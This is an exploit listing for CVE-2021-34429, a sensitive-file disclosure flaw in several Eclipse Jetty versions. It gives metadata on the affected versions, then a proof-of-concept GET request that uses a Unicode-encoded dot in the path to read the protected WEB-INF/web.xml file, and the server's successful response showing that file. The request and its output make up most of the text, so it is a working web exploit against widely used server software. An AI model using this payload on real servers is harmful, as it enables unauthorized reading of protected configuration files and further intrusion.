Eclipse Jetty 11.0.5 – Sensitive File Disclosure
# Exploit Title: Eclipse Jetty 11.0.5 - Sensitive File Disclosure # Date: 2021-11-03 # Exploit Author: Mayank Deshmukh # Vendor Homepage: https://www.eclipse.org/jetty/ # Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/ # Version: 9.4.37 ≤ version < 9.4.43, 10.0.1 ≤ version < 10.0.6, 11.0.1 ≤ version < 11.0.6 # Security Advisory: https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm # Tested on: Kali Linux # CVE : CVE-2021-34429 # Github POC: https://github.com/ColdFusionX/CVE-2021-34429 POC - Access WEB-INF/web.xml ## Request GET /%u002e/WEB-INF/web.xml HTTP/1.1 Host: localhost:9006 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 ## Response HTTP/1.1 200 OK Connection: close Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT Content-Type: application/xml Accept-Ranges: bytes Content-Length: 209 Server: Jetty(11.0.5) <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd" > <web-app> <display-name>ColdFusionX - Web Application</display-name> </web-app> |